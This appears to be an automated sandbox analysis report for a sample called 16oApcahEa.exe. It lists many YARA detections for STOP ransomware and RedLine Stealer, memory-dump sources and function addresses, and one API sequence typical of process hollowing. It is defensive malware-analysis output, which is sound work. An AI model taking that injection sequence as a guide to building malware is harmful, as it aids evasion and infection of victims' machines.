Source: 7.2.16oApcahEa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 7.2.16oApcahEa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.16oApcahEa.exe.4d515a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.16oApcahEa.exe.4d515a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.16oApcahEa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.16oApcahEa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.2.16oApcahEa.exe.4c915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.16oApcahEa.exe.4c915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 4.2.16oApcahEa.exe.4ce15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 4.2.16oApcahEa.exe.4ce15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 4.2.16oApcahEa.exe.4ce15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 4.2.16oApcahEa.exe.4ce15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 10.2.16oApcahEa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 10.2.16oApcahEa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.16oApcahEa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.16oApcahEa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.16oApcahEa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.16oApcahEa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 2.2.16oApcahEa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.2.16oApcahEa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.16oApcahEa.exe.4d515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.16oApcahEa.exe.4d515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 8.2.16oApcahEa.exe.4cd15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 8.2.16oApcahEa.exe.4cd15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.2.16oApcahEa.exe.4c915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.16oApcahEa.exe.4c915a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 8.2.16oApcahEa.exe.4cd15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 8.2.16oApcahEa.exe.4cd15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.16oApcahEa.exe.4ce15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.16oApcahEa.exe.4ce15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000005.00000002.2112745886.0000000004AFE000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000008.00000002.2208403894.0000000004AF3000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000B.00000002.2290687050.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000008.00000002.2208558716.0000000004CD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000B.00000002.2290490694.000000000310E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000A.00000002.2219098223.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000A.00000002.2219098223.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000C.00000002.2299360619.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000C.00000002.2299360619.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000002.2058334723.0000000004BED000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000007.00000002.3282232782.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000007.00000002.3282232782.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000004.00000002.2134183161.0000000003299000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: Process Memory Space: 16oApcahEa.exe PID: 3792, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 16oApcahEa.exe PID: 6388, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 16oApcahEa.exe PID: 5068, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 16oApcahEa.exe PID: 6556, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 16oApcahEa.exe PID: 2380, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 16oApcahEa.exe PID: 5316, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 16oApcahEa.exe PID: 3560, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 16oApcahEa.exe PID: 5168, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 16oApcahEa.exe PID: 5892, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 16oApcahEa.exe PID: 4368, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown

Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CE0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	0_2_04CE0110
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CE0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	4_2_04CE0110
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D50110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	5_2_04D50110

Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CE3520	0_2_04CE3520
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CE7520	0_2_04CE7520
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CEE6E0	0_2_04CEE6E0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04D2B69F	0_2_04D2B69F
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CEA699	0_2_04CEA699
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04D0D7F1	0_2_04D0D7F1
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CEA79A	0_2_04CEA79A
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CEC760	0_2_04CEC760
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CF00D0	0_2_04CF00D0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CE70E0	0_2_04CE70E0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CE30F0	0_2_04CE30F0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CEB0B0	0_2_04CEB0B0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CEB000	0_2_04CEB000
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CEA026	0_2_04CEA026
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CFF030	0_2_04CFF030
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04D0D1A4	0_2_04D0D1A4
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04D2E141	0_2_04D2E141
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CE9120	0_2_04CE9120
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04D622C0	0_2_04D622C0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CE7220	0_2_04CE7220
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CE7393	0_2_04CE7393
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04D2E37C	0_2_04D2E37C
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CE5DE7	0_2_04CE5DE7
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CE5DF7	0_2_04CE5DF7
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04D22D1E	0_2_04D22D1E
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04D14E9F	0_2_04D14E9F
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CE8E60	0_2_04CE8E60
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04D018D0	0_2_04D018D0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CE7880	0_2_04CE7880
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CE89D0	0_2_04CE89D0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CE59F7	0_2_04CE59F7
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04D0F9B0	0_2_04D0F9B0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04D0E9A3	0_2_04D0E9A3
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CEA916	0_2_04CEA916
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CE7A80	0_2_04CE7A80
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CECA10	0_2_04CECA10
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CEDBE0	0_2_04CEDBE0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CE2B60	0_2_04CE2B60
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CF0B00	0_2_04CF0B00
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_0040D240	2_2_0040D240
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00419F90	2_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_0040C070	2_2_0040C070
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_0042E003	2_2_0042E003
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00408030	2_2_00408030
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00410160	2_2_00410160
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_004021C0	2_2_004021C0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_0044237E	2_2_0044237E
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_004084C0	2_2_004084C0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_004344FF	2_2_004344FF
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_0043E5A3	2_2_0043E5A3
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_0040A660	2_2_0040A660
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_0041E690	2_2_0041E690
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00406740	2_2_00406740
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00402750	2_2_00402750
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_0040A710	2_2_0040A710
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00408780	2_2_00408780
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_0042C804	2_2_0042C804
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00406880	2_2_00406880
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_004349F3	2_2_004349F3
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_004069F3	2_2_004069F3
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00402B80	2_2_00402B80
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00406B80	2_2_00406B80
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_0044ACFF	2_2_0044ACFF
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_0042CE51	2_2_0042CE51
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00434E0B	2_2_00434E0B
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00406EE0	2_2_00406EE0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00420F30	2_2_00420F30
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00405057	2_2_00405057
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_0042F010	2_2_0042F010
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_004070E0	2_2_004070E0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_004391F6	2_2_004391F6
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00435240	2_2_00435240
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_004C9343	2_2_004C9343
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00405447	2_2_00405447
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00405457	2_2_00405457
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00449506	2_2_00449506
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_0044B5B1	2_2_0044B5B1
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00435675	2_2_00435675
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00409686	2_2_00409686
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_0040F730	2_2_0040F730
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_0044D7A1	2_2_0044D7A1
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00481920	2_2_00481920
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_0044D9DC	2_2_0044D9DC
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00449A71	2_2_00449A71
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00443B40	2_2_00443B40
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00409CF9	2_2_00409CF9
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_0040DD40	2_2_0040DD40
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00427D6C	2_2_00427D6C
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_0040BDC0	2_2_0040BDC0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00409DFA	2_2_00409DFA
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00409F76	2_2_00409F76
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_0046BFE0	2_2_0046BFE0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00449FE3	2_2_00449FE3
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CE3520	4_2_04CE3520
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CE7520	4_2_04CE7520
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CEE6E0	4_2_04CEE6E0
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04D2B69F	4_2_04D2B69F
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CEA699	4_2_04CEA699
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04D0D7F1	4_2_04D0D7F1
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CEA79A	4_2_04CEA79A
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CEC760	4_2_04CEC760
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CF00D0	4_2_04CF00D0
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CE70E0	4_2_04CE70E0
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CE30F0	4_2_04CE30F0
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CEB0B0	4_2_04CEB0B0
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CEB000	4_2_04CEB000
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CEA026	4_2_04CEA026
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CFF030	4_2_04CFF030
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04D0D1A4	4_2_04D0D1A4
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04D2E141	4_2_04D2E141
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CE9120	4_2_04CE9120
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04D622C0	4_2_04D622C0
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CE7220	4_2_04CE7220
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CE7393	4_2_04CE7393
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04D2E37C	4_2_04D2E37C
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CE5DE7	4_2_04CE5DE7
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CE5DF7	4_2_04CE5DF7
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04D22D1E	4_2_04D22D1E
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04D14E9F	4_2_04D14E9F
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CE8E60	4_2_04CE8E60
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04D018D0	4_2_04D018D0
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CE7880	4_2_04CE7880
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CE89D0	4_2_04CE89D0
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CE59F7	4_2_04CE59F7
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04D0F9B0	4_2_04D0F9B0
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04D0E9A3	4_2_04D0E9A3
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CEA916	4_2_04CEA916
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CE7A80	4_2_04CE7A80
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CECA10	4_2_04CECA10
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CEDBE0	4_2_04CEDBE0
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CE2B60	4_2_04CE2B60
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CF0B00	4_2_04CF0B00
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D53520	5_2_04D53520
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D57520	5_2_04D57520
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D5E6E0	5_2_04D5E6E0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D9B69F	5_2_04D9B69F
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D5A699	5_2_04D5A699
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D7D7F1	5_2_04D7D7F1
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D5A79A	5_2_04D5A79A
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D5C760	5_2_04D5C760
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D600D0	5_2_04D600D0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D530F0	5_2_04D530F0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D570E0	5_2_04D570E0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D5B0B0	5_2_04D5B0B0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D5B000	5_2_04D5B000
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D6F030	5_2_04D6F030
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D5A026	5_2_04D5A026
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D7D1A4	5_2_04D7D1A4
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D9E141	5_2_04D9E141
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D59120	5_2_04D59120
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04DD22C0	5_2_04DD22C0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D57220	5_2_04D57220
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D57393	5_2_04D57393
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D9E37C	5_2_04D9E37C
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D55DF7	5_2_04D55DF7
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D55DE7	5_2_04D55DE7
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D92D1E	5_2_04D92D1E
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D84E9F	5_2_04D84E9F
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D58E60	5_2_04D58E60
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D718D0	5_2_04D718D0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D57880	5_2_04D57880
